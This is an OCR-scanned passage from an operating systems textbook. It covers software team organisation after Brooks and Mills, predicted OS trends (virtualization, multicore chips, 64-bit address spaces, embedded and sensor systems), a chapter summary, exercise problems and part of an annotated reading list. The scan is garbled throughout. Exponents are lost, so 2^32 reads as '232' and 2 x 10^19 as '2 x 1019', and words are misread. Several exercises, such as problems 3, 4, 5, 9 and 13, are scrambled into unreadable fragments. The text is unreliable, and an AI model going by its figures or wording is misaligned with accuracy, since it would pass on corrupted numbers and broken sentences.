Figure 13·10. Mills' proposal for populating a lO-person chief programmer 
team. 

Three decades have gone by since this was proposed and put into production. 
Some things have changed (such as the need for a language lawyer-C is simpler 
than PLfI), but the need to have only one mind controlling the design is still true. 
And that one mind should be able to work 100% on designing and programming, 
hence the need for the support staff, although with help from the computer, a 
smaller staff will suffice now. But in its essence, the idea is still valid. 

Any large project needs to be organized as a hierarchy. At the bottom level 
are many small teams, each headed by a chief programmer. At the next level, 
groups of teams must be coordinated by a manager. Experience shows that each 
person you manage costs you 10% of your time, so a full-time manager is needed 
for each group of 10 teams. These managers must be managed, and so on. 

Brooks observed that bad news does not travel up the tree well. Jerry Saltzer 
of M.I.T. called this effect the bad-news diode. No chief programmer or his 
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manager wants to tell his boss that the project is 4 months late and has no chance 
whatso�ver of meeting the deadline because there is a 2000-year-old tradition of 
beheadm� the messe�ger who brings bad news. As a consequence, top man
agement IS generally 10 the dark about the state of the project. When it becomes 
obvious that the deadline cannot be met, top management responds by adding peo
ple, at which time Brooks' Law kicks in. 

In practice, large companies, which have had long experience producing soft
ware and kno,,: �hat happens if it is produced haphazardly, have a tendency to at 
least try to do It nght. In contrast, smaller, newer companies, which are in a huge 
rush to g.et to market, do not always take the care to produce their software care
fully. ThIS haste often leads to far from optimal results. 

Neith�r Brooks nor Mills foresaw the growth of the open source movement. 
Although It has had some successes, it remains to be seen if this is a viable model 
for producing large amounts of quality software once the novelty wears off. 
Recall that in its early days, radio was dominated by ham radio operators, but that 
soon gave way to commercial radio and later to commercial television. What is 
noticeable is that the open source software projects that have been most successful 
have clearly used the chief programmer model of havino one mind control the 
architectural design (e.g., Linus Torvalds for the Linux k:mel and Richard Stall
man for the GNU C compiler). 

13.5.3 The Role of Experience 

Havin? experienced deSigners is critical to an operating systems project. 
Brooks POInts out that most of the errors are not in the code, but in the design. The 
programmers correctly did what they were told to do. What they were told to do 
was wrong, No amount of test software will catch bad specifications. 

Brooks' solution is to abandon the classical development model of Fig. 13-
1 1  (a) and use the model of Fig. 13- 1 1  (b). Here the idea is to first write a main 
program that merely calls the top-level procedures, which are initially dummies. 
Start!ng on d�y 1 of the project, the system will compile and run, although it does 
n�thmg. As tI�e goes on, modules are inserted into the full system. The result of 
thIS �pproach �s that system integration testing is perfonned continuously, so er
rors m �he desl?� show up much earlier. In effect, the learning process caused by 
bad deSIgn deCISIons starts much earlier in the cycle. 

A little knowledge is a dangerous thing. Brooks observed what he called the 
second system effect. Often the first product produced by a desion team is 
minim�l because t�e designers are afraid i t  may not work at all. As a ;esult, they 
are hesitant to put III many features. If the project succeeds, they build a follow
up system. Impressed by their own success, the second time the designers include 
all the bells and whistles that were intentionally left out the first time. As a result, 
the second syste� is bloated and perfonns poorly. The third time around they are 
sobered by the faIlure of the second system and are cautious again. 
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CHAP. 13 

Figure 13·11. (a) Traditional software design progresses in stages. (b) Alterna
tive design produces a working system (that does nothing) starting on day 1. 

The CTSS-MULTICS pair is a clear case in point. CTSS was the first general
purpose timesharing system and was a huge success despite having minimal fun�
tionality_ Its successor, MULTICS was too ambitious and suffered badly for It. 
The ideas were good, but there were too many new things, so the system pe:ror�
ed poorly for years and was never a commercial success. The third system III thIS 
line of development, UNIX, was much more cautious and much more successful. 

13.5.4 No Silver Bullet 

In addition to The Mythical Man Month, Brooks also wrote an influential 
paper called "No Silver Bullet" (Brooks, 1987). In it, he argued that none of the 
many nostrums being hawked by various people at the time was going to generate 
an order-of-magnitude improvement in software productivity within a decade. 
Experience shows that he was right. 

Among the silver bullets that were proposed were better high-level language�, 
object-oriented programming, artificial intelligence, expert systems, autom�tlc 
programming, graphical programming, program verification, and progranlIm�g 
environments. Perhaps the next decade will see a silver bullet, but maybe we wIll 
have to settle for gradual, incremental improvements. 

13.6 TRENDS IN OPERATING SYSTEM DESIGN 

Making predictions is always difficult--especially about the future. For ex
ample, in 1 899, the head of the U.S. Patent Office, Charles H. Duell, asked then
President McKinley to abolish the Patent Office (and his job!), because, as he, put 
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it: "Everything that can be invented, has been invented" (Cerf and Navasky, 
1984). Nevertheless, Thomas Edison showed up on his doorstep within a few 
years with a couple of new items, including the electric light, the phonograph, and 
the movie projector. Let us put new batteries in our crystal ball and venture a 
guess on where operating systems are going in the near future. 

13.6.1 Virtualization 

Virtualization is an idea whose time has come-again. It first surfaced in 
1967 with the IBM CP/CMS system, but now it is back in full force on the Pen
tium platform. In the near future, many computers will be running hypervisors on 
the bare hardware, as illustrated in Fig. 13-12. The hypervisor will create a num
ber of virtual machines, each with its own operating system. Some computers will 
have a virtual machine running Windows for legacy applications, several virtual 
machines running Linux for current applications, and perhaps one or more experi
mental operating systems in other virtual machines. This phenomenon was dis
cussed in Chap. 8 and is definitely the wave of the future. 

Virtual machine /' 
Windows Unux Unux Other 

OS 

HypelVisor 

Hardware 

Figure 13-12. A hypervisor running four virtual machines. 

13.6.2 Multicore Chips 

Multicore chips are here already, but the operating systems for them do not 
use them well, not even with two cores, let alone 64 cores, which are expected be
fore too long. What will all the cores do? What kind of software will be needed 
for them? It really is not known now. Initially, p�ople will try to patch up current 
operating systems to work on them, but this is unlikely to be very successful with 
large numbers of cores due to the problem of locking tables and other software re
sources. There is definitely room here for radically new ide<'!.s. 

The combination of virtualization and multicore chips creates a whole new 
environment. In this world, the number of CPUs available is programmable. 
With an eight-core chip, the software could do anything from just using one CPU 
and ignoring the other seven, to using all eight real CPUs, to two-way virtu
alization, leading to 16 virtual CPUs, or four-way virtualization and 32 virtual 
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CPUs, or pretty much any other combination. A progra� could start out announc
ing how many CPUs it wants and it is up to the operatmg system to make them 
appear. 

13.6.3 Large Address Space Operating Systems 

As machines move from 32-bit address spa.ces to 64-bit 
.
address spaces, �ajor 

shifts in operating system design become possIble. A 3�-?lt address space IS not 
really that big. If you tried to divide up 232 bytes by glVmg everybody on earth 
his or her own byte, there would not be enough bytes to go around. In contrast, 
264 is about 2 x 1019. Now everybody gets a personal 3

1
¥B chunk. 

What could we do with an address space of 2 x 10 bytes? For starterS, we 
could eliminate the file system concept. Instead, all �lles could be c�nceptually 
held in (virtual) memory all the time. After all, there IS enough room III there for 
over 1 billion full-length movies, each compressed to 4 GR . Another possible use is a persistent object store. Objects could be created

. 
m 

the address space and kept there until all reference
.
s to them were go�e, at ,:hlch 

time they would be automatically deleted. Such objects would be persl
.
stent III th� 

address space, even over shutdowns and reboots of the computer. WIth a 64-blt 
address space, objects could be created at a rate of 100 MB/sec �or 5000 years be
fore we run out of address space. Of course, to actually store thIS amount o� dat�, 
a lot of disk storage would be needed for the paging traffic, but for the first tIme III 
history, the limiting factor would be disk storage, not ad�ess space. . . 0-

With large numbers of objects in the address space, It becomes mtere�tInt> to 
allow mUltiple processes to run in the same address space at the same tIme, .to 
share the objects in a general way. Such a design would clearly le�d to very dIf
ferent operating systems than we now have. Some thoughts on thIS concept are 
contained in (Chase et al., 1994). 

. . Another operating system issue that will have to be rethought WIth 64-blt ad
dresses is virtual memory. With 264 bytes of virtual address space and 8�KB. pages 

h e 2" pages Conventional pao-e tables do not scale well to thIS SIze, so we av · t> . . . 
h ·d something else is needed. Inverted page tables are a posslbilIty, but ?t er 1 eas 

have been proposed as wen (Talluri et al., 1 995). In any event there IS plenty of 
room for new research on 64-bit operating systems. 

13.6.4 Networking 

Current operating systems were designed for standalone cOI?puters. Network
ing was an afterthought and is generally accessed through spec:al programs, such 
as Web browsers, FrP, or telnet In the future, networkin� wIll probably be the 
basis for all operating systems. A standalone computer WIthout a network co�
nection will be as rare as a telephone without a connection to the network. And It 
is likely that multimegabitlsec connections will be the norm. 
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Operating systems will have to change to adapt to this paradigm shift. The 
difference between local data and remote data may blur to the point that viltually 
no one knows or cares where data are stored. Computers anywhere may be able to 
treat data anywhere as local data. To a limited extent, this is already true with 
NFS, but it is likely to become far more pervasive and better integrated. 

Access to the Web, which now requires special programs (browsers), may 
also become completely integrated into the operating system in a seamless way. 
The standard way to store information may become Web pages, and these pages 
may contain a wide variety of nontext items, including audio, video, programs, 
and more, all managed as the operating system's fundamental data. 

13.6.5 Parallel and Distributed Systems 

Another area that is up and coming is parallel and distributed systems. Current 
operating systems for mUltiprocessors and multicomputers are just standard 
uniprocessor operating systems with minor adjustments to the scheduler to handle 
parallelism a bit better. In the future, we may see operating systems where paralw 
lelism is much more central than it now is. This effect will be enormously stimu
lated if desktop machines soon have two, four, or more CPUs in a multiprocessor 
configuration. This may lead to many application programs being designed for 
multiprocessors, with the concurrent demand for better operating system support 
for them. 

Multicomputers are likely to dominant large-scale scientific and engineering 
supercomputers in the coming years, but the operating systems for them are still 
fairly primitive. Process placement, load balancing, and communication need a lot 
of work. 

Current distributed systems are often built as middleware because existing op
erating systems do not provide the right facilities for distributed applications. Fu
ture ones may be designed with distributed systems in mind, so all the necessary 
features are already present in the operating system from the start. 

13.6.6 Multimedia 

Multimedia systems are clearly a rising star in the computer world. It would 
surprise no one if computers, stereos, televisions, and telephones all merged into a 
single device capable of supporting high-quality still images, audio, and video, 
and connected to high-speed networks so these files could easily be downloaded, 
exchanged, and accessed remotely. The operating systems for these devices, or 
even for standalone audio and video devices, will have to be' substantially dif
ferent from current ones. In particular, real-time guarantees will be needed, and 
these will drive the system design. Also, consumers will be very intolerant of 
weekly crashes of their digital television sets, so better software quality and fault 
tolerance will be required. Also, multimedia files tend to be very long, so file sys
tems will have to change to be able to handle them efficiently. 
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13.6.7 Battery·Powered Computers 

Powerful desktop PCs, probably with 64-bit address spaces, high-bandwidth 
networking, mUltiple processors, and high-quality audio and video, will no doubt 
be commonplace soon. Their operating systems will have to be appreciably dif
ferent from cunent ones to handle all these demands. However, an even faster 
growing segment of the market is battery-powered computers, including note
books, palmtops, Webpads, $100 laptops, and smartphones. Some of these will 
have wireless connections to the outside world; others will run in disconnected 
mode when not docked at home. They will need different operating systems that 
are smaller, faster, more flexible, and more reliable than current ones. Various 
kinds of microkernel and extensible systems may fann the basis here. 

These operating systems will have to handle fully connected (i.e., wired), 
weakly connected (i.e" wireless), and disconnected operation, including data 
hoarding before going offline and consistency resolution when going back onli�e, 
better than current systems. They will also have to handle the problems of mobIl
ity better than current systems (e.g., find a laser printer, log onto it, and send it a 
file by radio). Power management, including extensive dialogs between the oper
ating system and applications about how much battery power is left and how it 
can be best used, will be essential. Dynamic adaptation of applications to bandle 
the limitations of tiny screens may become important. Finally, new input and out
put modes, including handwriting and speech, may require new techniques in the 
operating system to improve the qUality. It is unlikely that the operating system 
for a battery-powered, handheld wireless, voice-operated computer will have 
much in common with that of a desktop 64-bit four-CPU multiprocessor with a 
gigabit fiber-optic network connection. And of course, there will be innumerable 
hybrid machines with their own requirements, 

13.6.8 Embedded Systems 

One final area in which new operating systems will proliferate is embedded 
systems. The operating systems inside washing machines, microwave ovens, 
dolls, transistor (Internet?) radios, MP3 players, camcorders, elevators, and 
pacemakers will differ from all of the above and most likely from each other. 
Each one will probably be carefully tailored for its specific application, since it is 
unlikely anyone will ever stick -a PCl card into a pacemaker to tum it into an 
elevator controller. Since all embedded systems run only a limited number of pro
grams, known at design time, it may be possible to make optimizations not pos
sible in general-purpose systems. 

A promising idea for embedded systems is the extensible operating system 
(e.g., Paramecium and Exokernel). These can be made as lightweight or heavy
weight as the application in question demands, but in a consistent way across ap
plications. Since embedded systems will be produced by the hundreds of millions, 
this will be a major market for new operating systems. 
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13.6.9 Sensor Nodes 

While it is a.ruc
.
he mru:ke

.
t, sensor networks are being deployed in many COn

texts, from momtonng bUlldmgs and national borders, to detecting forest fires, 
and many others. The sensors used are low-cost and low-power and require 
ex!remely lean-and-mean operating systems, barely more than run-time libraries. 
SUIl, as more powerful nodes g:t .cheaper, we will start to see real operating sys�ems on th�m, but �f course op�nn�ed for their tas� and consuming as little enero� as possIble. WIth battery lIfetimes measured In months and wireless trans
nutters and rec�ivers being big energy consumers, these systems will be organized 
for energy effiCIency more than anything else. 

13.7 SUMMARY 

, 
Designing an operating system starts with determining what it should do. The 

mterface should be simple, complete, and efficient. It should have a clear user in
terface paradigm, execution paradigm, and data paradigm. 

The syst�m shoul? be well structured, using one of several known techniques, 
such as layenng or chent-server. The internal components should be orthogonal to 
one another. and cle�rly separate policy from mechanism. Considerable· thought 
s�ou

,
ld b� glVen to ISsues such as static versus dynamic data structure, naming, 

bmdmg time, and order of implementing modules. 
Perf?rmance is important, but optimizations should be chosen carefully so as 

not to rum the system's structure. Space-time trade-offs caching hints exploiting 
locality, and optimizing the common case are often wo�h doiner, 

' , 

W:tting a system with a couple of people is different than ;roducing a big sys
tem WIth 3

,
00 peo�le. In the latter case, team structure and project management 

play � crucIal role m the success or failure of the project. 
Fmally, operating systems will have to Change in the coming years to follow 

new trend� and meet new ch�nenges. These may include hypervisor-based sys
tems; muillcore systems, �4-blt address spaces, massive connectivity, large-scale 
multiprocessors and multIcomputers, multimedia, handheld wireless computers, 
embe�ded systems, and sensor nodes. The coming years will be eXCiting times for 
operatmg system designers. 

PROBLEMS 

1. Moore's Law d�cribes a �he�omenon of exponential growth similar to the population 
growth of an ammal speCIes mtroduced into a new environment with abundant food 
and no natural enemies. In nature, an exponential growth curve is likely eventually to 
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b a s' "maid curve with an asymptotic limit when food supplies become limiting 
o;��:d

e
ator�toleam to take advantage of new prey. Discuss some factors that may even

tually limit the rate of improvement of computer hardware. 
2. In Fig. B-1, twO paradigms are shown, a�gori�hn:ic and event �riven. Fo� each of the 

following kinds of programs, which paradigm 13 llkely to be eaSIest to use. 
(a) A compiler. 
(b) A photo-editing program. 
(c) A payroll program. 
R archical file names always start at the top of the tree. Consider, for example, the 3. 
r::r 

name /lIsriast/books/mos2!chap-J2 rather than chap-12Imos2lbookslast/Ur dIn 
�ontrast, DNS names start at the bottom of the tree and work up. Is there some un a
mental reason for this difference? 

F 13 2 hano-ed What implications would 4. Suppose that layers 3 and 4 in Ig. - were ex.c to • 
that have for the design of the system? 

S. In a microkernel·based client�server system, the microkemel J
e
·
�:�e�::: �::::g

a:xa�:� ino- and nothing else. Is it possible for user processes to nev 
se':naphores? If so, how? If not, why not? 

. Careful optimization can improve system call perfonnance .. Consider th� case 10 6. 
which one system call is made every 10 msec. The average ttme of a call IS 2 msec. 
If the system calls can be speeded up by a factor of two, how long does a process that 
took 10 sec to run now take? 

7. Give a short discussion of mechanism versus policy in the context of retail stores. 
8. Operating systems often do naming at two .different levels: external and internal. What 

are the differences between these names With respect to 
(a) Length 
(b) Uniqueness 
(c) Hierarchies 

9 0 wa to handle tables whose size is not known in advance is to m�e them fix.ed, . 
bt�e

Wh:n one fills up, to replace it with a bigger one, copy the o.ld entnes over to the 
th n release the old one What are the advantages and disadvantages of mak-new one, e . 

d t akino- it only 1 5x as lng the new one 2x the size of the original one, as compare 0 m to • 
big? 
I Fo- 13-6 the differences between the Pentium and the Ultra�PARC a:e hidden by 10. 

c�n�itional �ompilation. Could the same approach be used �o hide .the dlfferen�e be� 
tween Pentiums with an IDE disk as the only disk and PentlUmS With a SCSI disk as 
the only disk? Would it be a good idea? 

11. Indirection is a way of making an algorithm more flexible. Does it have any disadvan-
tages, and if so, what are they? 

12. Can reentrant procedures have private static global variables? Discuss your answer. 
13 Th 0 of Fio- 13-7(b) is clearly much more efficient than the procedure of . e macr to· 

• • h d d A e there any other Fig. 13�7(a). One disadvantage, however, is that It IS ar to rea . r 
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disadvantages? If so, what are they? 
14. Suppose that we need a way of computing whether the number of bits in a 32-bit word 

is odd or even. Devise an algorithm for performing this computation as fast as pos
sible. You may use up to 256 KB of RAM for tables if need be. Write a macro to 
carry out your algorithm. Extra Credit: Write a procedure to do the computation by 
looping over the 32 bits. Measure how many times faster your macro is than the proce
dure. 

15. In Fig. 13-8, we saw how GIF files use 8-bit values to index into a color palette. The 
same idea can be used with a 16-bit-wide color palette. Under what circumstances, if 
any, might a 24-bit color palette be a good id.ea? 

16. One disadvantage of GIF is that the image must include the color palette, which 
increases the file size. What is the minimum image size for which an 8-bit-wide color 
palette breaks even? Now repeat this question for a 16-bit-wide color palette. 

17. In the text we showed how caching path names can result in a significant speedup 
when looking up path names. Another technique that is sometimes used is having a 
daemon program that opens all the files in the root directory and keeps them open per
manently, in order to force their i�nodes to be in memory all the time. Does pinning 
the i-nodes like this improve the path lookup even more? 

18. Even if a remote file has not been removed since a hint was recorded, it may have 
been changed since the last time it was referenced. What other information. might it be 
useful to record? 

19. Consider a system that hoards references to remote files as hints, for example as 
(name, remote-host, remote-name). It is possible that a remote file will quietly be re� 
moved and then replaced. The hint may then retrieve the wrong file. How can this 
problem be made less likely to occur? 

20. In the text it is stated that locality can often be exploited to improve perfonnance. But 
consider a case where a program reads input from one source and continuously out
puts to two or more files. Can an attempt to take advantage of locality in the file sys� 
tern lead to a decrease in efficiency here? Is there a way around this? 

21. Fred Brooks claims that a programmer can write 1000 lines of debugged code per 
year, yet the first version of MINIX (13,000 lines of code) was produced by one person 
in under three years. How do you explain this discrepancy? 

22. Using Brooks' figure of 1000 lines of code per programmer per year, make an esti� 
mate of the amount of money it took to produce Windows Vista. Assume that a pro
grammer costs $100,000 per year (including overhead, such as computers, office 
space, secretarial support, and management overhead). Do you believe this answer? 
If not, what might be wrong with it? 

23. As memory gets cheaper and cheaper, one could imagine a computer with a big 
battery-backed up RAM instead of a hard disk. At current prices, how much would a 
low-end RAM-only PC cost? Assume that a I -OB RAM-disk is sufficient for a low
end machine. Is this machine likely to be competitive? 

24. Name some features of a conventional operating system that are not needed in an em-
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bedded system used inside an appliance. 
25. Write a procedure in C to do a double�precision addition on two gi�en parameters. 

Write the procedure using conditional compilation in such a way that It works on 16-
bit machines and also on 32-bit machines. 

26. Write programs that enter randomly generated short strings into an array and then can 
search the array for a given string using (a) a simple linear search (brute force), and 
(b) a more sophisticated method of your choice. Recompile your programs for array 
sizes ranaing from small to as large as you can handle on your system. Evaluate the o 

Wh · th b eak · t1 performance of both approaches. ere IS e r -even pom . 
27. Write a program to simulate an in-memory file system. 

1 4  
READING LIST AND BIBLIOGRAPHY 

In the previous 1 3  chapters w e  have touched upon a variety of topics. This 
chapter is intended as an aid to readers interested in pursuing their study of op
erating systems further. Section 14.1 is a list of suggested readings. Section 14.2 
is an alphabetical bibliography of all books and articles cited in this book. 

In addition to the references given below, the ACM Symposium on Operating 
Systems Principles (SOSP) held in odd-numbered years and the USENIX Sympo
sium on Operating Systems Design and Implementation (OSDI) held in even num
bered years are good sources on ongoing work on operating systems. The Eurosys 
200x Conference is held annually and is also a source of top-flight papers. Furth
ermore, ACM Transactions on Computer Systems and ACM SIGOPS Operating 
Systems Review are two journals that often have relevant articles. Many other 
ACM, IEEE, and USENIX conferences deal with specialized topics. 

14.1 SUGGESTIONS FOR FURTHER READING 

In the following sections, we give some suggestions for further reading. 
Unlike the papers cited in the sections entitled "RESEARCH ON ... " in the text, 
which were about current research, these references are mostly introductory or 
tutorial in nature. They can serve to present material present in this book from a 
different perspective or with a different emphasis, however. 

1003 
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14.1.1 Introduction and General Works 

Silberschatz et al., Operating System Concepts with Java, 7th ed. 
A general textbook on operating systems. It covers processes, memory man

agement, storage management, protection and security, distributed syste�s, and 
some special-purpose systems. Two case studies are given: Linux and Wmdows 
XP. The cover is full of dinosaurs. What, if anything, dinosaurs have to do with 
operating systems anne 2007 is unclear. 

Stallings, Operating Systems, 5th ed. 
Still another textbook on operating systems. It covers all the traditional 

topics, and also includes a small amount of material on distributed systems. 

Stevens and Rago, Advanced Programming in the UNIX Environment 
This book tells how to write C programs that use the UNIX system call inter

face and the standard C library. Examples are based on the System V Release 4 
and the 4.4BSD versions of UNrx. The relationship of these implementations to 
POSIX is described in detaiL 

Tanenbaum and Woodhull, "Operating Systems Design and Implementation" 
A hands-on way to learn about operating systems. This book discusses the 

usual principles but in addition discusses an actual operating system, MINIX 3, in 
great detail, and contains a listing of that system as an appendix. 

14.1.2 Processes and Threads 

Andrews and Schneider, "Concepts and Notations for Concurrent Programming" 
A tutorial and survey of processes and interprocess communication, including 

busy waiting, semaphores, monitors, message passing, and other techniques. The 
article also shows how these concepts are embedded in various programming 
languages. The article is old, but it has stood the test of time very welL 

Ben-Ari, Principles oj Concurrent Programming 
This little book is entirely devoted to the problems of interprocess communi

cation. There are chapters on mutual exclusion, semaphores, monitors, and the 
dining philosophers problem, among others. 

Silberschatz et aI., Operating System Concepts with Java, 7th ed. 
Chapters 4 through 6 cover processes and interprocess communication, 

including scheduling, critical sections, semaphores, monitors, and classical inter
process communication problems. 
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14.1.3 Memory Management 

Denning, "Virtual Memory" 

1005 

A classic paper On many aspects of virtual memory. Denning was one of the 
pioneers in this field, and was the inventor of the working-set concept. 

Denning, "Working Sets Past and Present" 
A good overview of numerous memory management and paging algorithms. 

A comprehensive bibliography is included. Although many of the papers are old, 
the principles really have not changed at all. 

Knuth, The Art oj Computer Programming, Vol. 1 
First fit, best fit, and other memory management algorithms are discussed and 

compared in this book. 

Silberschatz et aI., Operating System Concepts with Java, 7th ed. 
Chapters 8 and 9 deal with memory management, including swapping, paging, 

and segmentation. A variety of paging algorithms are mentioned. 

14.1.4 Input/Output 

Geist and Daniel, 0< A Continuum of Disk Scheduling Algorithms" 
A generalized disk arm scheduling algorithm is presented. Extensive simula

tion and experimental results are given. 

Scheible, O<A Survey of Storage Options" 
There are many ways to store bits these days: DRAM, SRAl\1, SDRAM, flash 

memory, hard disk, floppy disk, CD-ROM, DVD, and tape, to name a few. In this 
article, the various technologies are surveyed and their strengths and weaknesses 
highlighted. 

Stan and Skadron, "Power-Aware Computing" 
Until someone manages to get Moore's Law to apply to batteries, energy 

usage is going to continue to be a major issue in mobile devices. We may even 
need temperature-aware operating systems before long. This article surveys some 
of the issues and serves as an introduction to five other articles in this special 
issue of Computer on power-aware computing. 

Walker and Cragon, "Interrupt Processing in Concurrent Processors" 
Implementing precise interrupts on superscalar computers is a challenging 

activity. The trick is to serialize the state and do it quickly. A number of the 
design issues and trade-offs are discussed here. 
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14.1.5 File Systems 

McKusick et aI., " A  Fast File System for UNIX" 
The UNIX file system was completely redone for 4.2 BSD. This paper 

describes the design of the new file system, with emphasis on its performance. 

Silberschatz et aI., Operating System Concepts with Java, 7th ed. 
Chapters 10 and 1 1  are about file systems. They covers file operations, 

access methods, directories, and implementation, among other topics. 

Stallings, Operating Systems, 5th ed. 
Chapter 12 contains a fair amount of material about the security environment 

especially about hackers, viruses, and other threats. 

14.1.6 Deadlocks 

Coffman et a1., "System Deadlocks': 
A short introduction to deadlocks, what causes them, and how they can be 

prevented or detected. 

Holt, "Some Deadlock Properties of Computer Systems" 
A discussion of deadlocks. Holt introduces a directed graph model that can be 

used to analyze some deadlock situations. 

Isloor and Marsland, "The Deadlock Problem: An Overview" 
A tutorial on deadlocks, with special emphasis on database systems. A 

variety of models and algorithms are covered. 

Shub, "A Unified Treatment of Deadlock" 
This short tutorial summarizes the causes and solutions to deadlocks and sug

gests what to emphasize when teaching it to students. 

14.1.7 Multimedia Operatiug Systems 

Lee, "Parallel Video Servers: A Tutorial" 
Many organizations want to offer video on demand, which creates a need for 

scalable, fault-tolerant parallel video servers. The major issues of how to build 
them are covered here, inclUding server architecture, striping, placement policies, 
load balancing, redundancy, protocols. and synchronization. 

Leslie et aI., "The Design and Implementation of an Operating System to Support 
Distributed Multimedia Applications," 

Many attempts at implementing multimedia have been based on adding 
features to an existing operating system. An alternative approach is to start all 

� 
• 
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over again, as described here, and build a new operating system for multimedia 
fro� scr�tch, with n? need to be backward compatible for anything. The result is 
a frurly dIfferent deSIgn than conventional systems. 

Sitaram and Dan, "Multimedia Servers" 
Multimedia servers have many differences with regular file servers. The 

authors discuss the differences in detail, especially in the areas of scheduling, the 
storage subsystem, and caching. 

14.1.8 Multiple Processor Systems 

Ahmad, "Gigantic Clusters: Where Are They and What Are They Doing?" 
To get an idea of the state-of-the-art in large multicomputers, this is a good 

place to look. It describes the idea and gives an overview of some of the larger 
systems currently in operation. Given the working of Moore's law, it is a reason
able bet that the sizes mentioned here will double about every 2 years or so. 

Dubois et aL, "Synchronization, Coherence, and Event Ordering in Multiproces
sors" 

A tutorial on synchronization in shared-memory multiprocessor- systems. 
However, some of the ideas are equally applicable to single-processor and distri
buted memory systems as well. 

Geer, "For Programmers, Multicore Chips Mean Multiple Challenges" 

.
Multicore chips are happening-whether the software folks are ready or not. 

As It turns out, they are not ready, and programming these chips offers many chal
len�es, from getting the right tools, to dividing up the work into little pieces, to 
testmg the results. 

Kant and Mohapatra, "Internet Data Centers" 

. Internet data centers are massive multicomputers on steroids. They often con
tam te�� or hu�dreds of thousands of computers working on a single application. 
ScalabIlIty, mamtenance and energy use are major issues here. TIlls article fonus 
an introduction to the subject and introduces four additional articles on the sub
ject. 

Kumar et aI., "Heterogeneous Chip Multiprocessors" 
The multicore chips used for desktop computers are symmetric-all the cores 

are identical. However. for some applications, heterogeneous CMPs are 
widespread, with cores for computing, video decoding, audio deCOding, and so on. 
This paper discusses SOme issues related to heterogeneous CMPs. 



1008 READING LIST AND BIBLIOGRAPHY CHAP. 14 

Kwok and Ahmad "Static Scheduling Algorithms for Allocating Directed Task 
Graphs to Multiprocessors" 

Optimal job scheduling of a multicomputer or multiprocessor is possible when 
the characteristics of all the jobs are known in advance. The problem is that 
optimal scheduling takes too long to compute. In this paper, the authors discuss 
and compare 27 known algorithms for attacking this problem in different ways. 

Rosenblum and Garfinkel, "Virtual Machine Monitors: Current Technology and 
Future Trends" 

Starting with a history of virtual machine monitors, this article then goes on to 
discuss the current state of CPU, memory, and 110 virtualization. In particular, it 
covers problem areas relating to all three and how future hardware may alleviate 
the problems, 

Whitaker e't aI., "Rethinking the Design of Virtual Machine Monitors" 
Most computers have some bizarre and difficult to virtualize aspects. In this 

paper, the authors of the Denali system argue for paravirtualization, that is, chang
ing the guest operating systems to avoid using the bizarre features so that they 
need not be emulated. 

14.1.9 Security 

Bratus, "What Hackers Learn That the Rest of Us Don't" 
What makes hackers different? What do they care about that regular pro

grammers do not? Do they have different attitudes toward APIs? Are corner 
cases important? Curious? Read it. 

-

Computer, Feb 2000 
The theme of this issue of Computer is biometrics, with six papers on the sub

ject. They range from an introduction to the subject, through various specific tech
nologies, to a paper dealing with the legal and privacy issues. 

, Denning, lnfonnation Waif are and Security 
Information has become a weapon of war, both military and corporate, The 

participants try not only to attack the other side's information systems, but to safe
guard their own, too. In this fascinating book, the author covers every conceiv
able topic relating to offensive and defensive strategy, from data diddling to 
packet sniffers. A must read for anyone seriously interested in computer security. 

Ford and Allen, "How Not to Be Seen" 
Viruses, spyware, rootkits, and digital rights management systems all have a 

great interest in hiding things. This article provides a brief introduction to stealth 
in its various forms. 

-�----���-
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Hafner and Markoff, Cyberpunk 
Three compelling tales of young hackers breaking into computers around the 

world are told here by the New York Times computer reporter who broke the Inter
net worm story (Markoff). 

Johnson and Jajodia, "Exploring Steganography: Seeing the Unseen" 
Steganography has a long history, going back to the days when the writer 

would shave the head of a messenger, tattoo a message on the shaved head, and 
send him off after the hair grew back. Although current teChniques are often hairy, 
they are also digital. For a thorough introduction to the subject as currently prac
ticed, this paper is the place to start. 

Ludwig, The Little Black Book of Email Viruses 
If you want to write antivirus software and need to understand how viruses 

work down to the bit level, this is the book for you. Every kind of virus is dis
cussed at length and actual code for many of them is supplied as well. A thorough 
knowledge of programming the Pentium in assembly language is a must, however. 

Mead, "Who is Liable for Insecure Systems?" 
Although most work on computer security approaches it from a technical per

spective, that is not the only one. Suppose software vendors were legally liable 
for the damages caused by their faulty software. Chances are security would get a 
lot more attention from vendors than it does now? Intrigued by this idea? Read 
this article. 

Milojicic, "Security and Privacy" 
Security has many facets, including operating systems, networks, implications 

for privacy, and more. In this article, six security experts are interviewed on their 
thoughts on the subject. 

Nachenberg, "Computer Virus-Antivirus Coevolution" 
As soon as the antivirus developers find a way to detect and neutralize some 

class of computer virus, the virus writers go them one better and improve the 
virus. The cat-and-mouse game played by the virus and antivirus sides is dis
cussed here, The author is not optimistic about the antivirus writers winning the 
war, which is bad news for computer users. 

Pfleeger, Security in Computing, 4th ed, 
Although a number of books on computer security have been published, most 

of them only cover network security. This book does that, but also has chapters on 
operating systems security, data base security, and distributed system security. 
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Sasse, "Red-Eye Blink, Bendy Shuffle, and the Yuck Factor: A User Experience 
of Biometric Airport Systems" 

The author discusses his experiences with the iris recognition system used at a 
number of large airports. Not all of them are positive. 

Thibadeau, "Trusted Computing for Disk Drives and Other Peripherals" 
If you thought a disk drive was just a place where bits are stored, think again. 

A modern disk drive has a powerful CPU, megabytes of  RAM, multiple commun
ication channels, and even its own boot ROM. In short, it is a complete computer 
system ripe for attack and in need of its own protection system. This paper 
discusses securing the disk drive. 

14.1.10 Linux 

Bovet and Cesati, Understanding the linux Kernel 
This book is probably the best overall discussion of the Linux kerneL It cov

ers processes, memory management, file systems, signals, and much more. 

IEEE, Information Technology-Portable Operating System Interface (POSIX), 
Part 1: System Application Program Interface (API) [C Language} 

This is the standard. Some parts are actually quite readable, especially Annex 
E, "Rationale and Notes, " which often sheds light on why things are done as they 
are. One advantage of referring to the standards document is that, by definition, 
there are no errors. If a typographical error in a macro name makes it through the 
editing process it is no longer an error, it is official. 

Fusco, The Linux Programmers' Toolbox 
This book describes how to use Linux for the intermediate user, One who 

knows the basics and wants to , start exploring how the many Linux programs 

work. It is intended for C programmers. 

Maxwell, Linux Core Kernel Commentary 
The first 400 pages of this book contain a subset of the Linux kernel code. 

The last 150 pages _consist of comments on the code, very much in the style of 
John Lions' Classic book (1996). If you want to understand the Linux kernel in all 
its gory detail, this is the place to begin, but be warned: reading 40,000 lines of C 
is not for everyone. 

14.1.11 Windows Vista 

Cusumano and Selby, "How Microsoft Builds Software" 
Have you ever wondered how anyone could write a 29-million-line program 

(like Windows 2000) and have it work at all? To find out how Microsoft's build 
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and test cycle is used to manage very large software projects, take a look at this 
